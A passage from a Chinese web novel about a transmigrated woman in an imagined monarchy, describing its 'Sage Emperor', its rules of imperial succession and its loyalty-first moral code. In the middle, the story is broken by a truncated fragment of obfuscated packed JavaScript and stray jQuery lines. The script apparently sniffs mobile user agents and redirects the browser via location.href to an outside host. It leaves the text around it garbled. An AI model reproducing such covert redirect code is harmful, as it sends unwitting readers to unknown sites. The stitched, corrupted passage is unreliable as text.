常人类。更何况那般才识，各方面极其精通，无论是前生还是后世，这都非一个个体的人类所能具备的能力。

    不过圣皇究竟是神是人并不重要，把一个为人类带来了便利、同时还让一颗星球不失自然的存在奉为神明，又有何不可？

    孟淮妴没兴趣评论哪种世界更生机勃勃，她欣赏现在的世界，自然干净，一切都刚刚好，不会过于发达，也不会过于落后。

    她原先还担心自己难以适应古代的社会环境，但因为圣皇，这世界的一切都便捷得让人感动。虽是和前世古代类似的君主制，但越是了解这个世界，她越是喜欢这个世界。

    投身这样的世界，也是一种幸运。没有压抑某一性别的东西，连空气都清透许多，否则很难想象，一个在现代连办公环境都改变不了的普通人，会不会被一个更差的环境“吃掉”。

    35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404842|184429||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    >毕竟改变世界，是个人做不到的事情。

    即便是皇帝，想要实施某个政策也是需要时间的。

    圣皇之所以成功，是因为他到来的时候是部落时期，人口少，各方各面都相当于一张白纸，圣皇带来的远超当时的技术大大提升了人民生活，他的知识库丰富的不像一个凡人，在位的时间又足够长，这些因素加在一起，才让圣皇成为圣皇。

    现在，这个像是古代的世界，人类称帝六千多年的世界，各方各面都已是一张写满了颜色的彩纸，一个人想要在自己身亡之前的短短几十年改变这张彩纸的主体颜色，只有大刀阔斧地毁灭，然后重生再造方有一线可能。但这可不是正道，想要把此道变为正道，又非凡人之力能为。

    关于皇位，并非皇帝的子女都可以当皇帝。

    一个王朝今后的帝王性别是由建国的太祖皇帝之性别决定，如此，是为了防止争帝范围的扩大，导致更加混乱，全世界各国皆是这般规则。

    比如孟淮妴所在王朝大尧，因为开国皇帝是男子，便默认此后都为男子继位，即使皇帝没有儿子，也不可交由女儿继位，需要在同姓的男性亲人里择优继位，若也无人为继，便只有禅位他姓了。

    另外，造反属于是新建一国，不受太祖皇帝的性别约束，但是……

    想要使国家安定，必然要有约束人民的制度，等级制度是一种，但也不会放弃使用伦理道德的力量。

    本世界没有儒家思想，虽有佛教道教，但与21世纪也有些许不同，约束全世界人民的主体思想也不相同。

    除了总是大差不差的做人的基本道德标准外，鸿渺上的人世间，从来不是“孝”字当头，而是以【忠、义】传教万民。大义灭亲既不是什么稀罕事，也不是什么值得震惊之事。

    所谓【忠、义】，帝后治理国家，人民需对帝后和国家尽忠、义；得人救者，需报恩尽义；在职者，需尽忠；对伯乐，需尽忠、义。为官为军为首者，首先需对国家尽忠义，然后是对人民尽忠义，最后才是对皇室尽忠义。

    而父母养育子女，子女对父母报恩尽忠、义，这便已是孝。但父母不养育或不善待子女，子女便无恩可报无忠义可尽，不孝方为正常人。

    当然，人心不是按照写入数据运行的程序，当忠、义、孝摆在一起时，总有人能做出对于接受主体思想的人而言不可思议的选择。

    若是把这个“不可思议”的选择放大到一个国家的范围，那么将会被亿万臣民唾弃。

    而孟淮妴不能造反当皇帝，也是受这种主体思想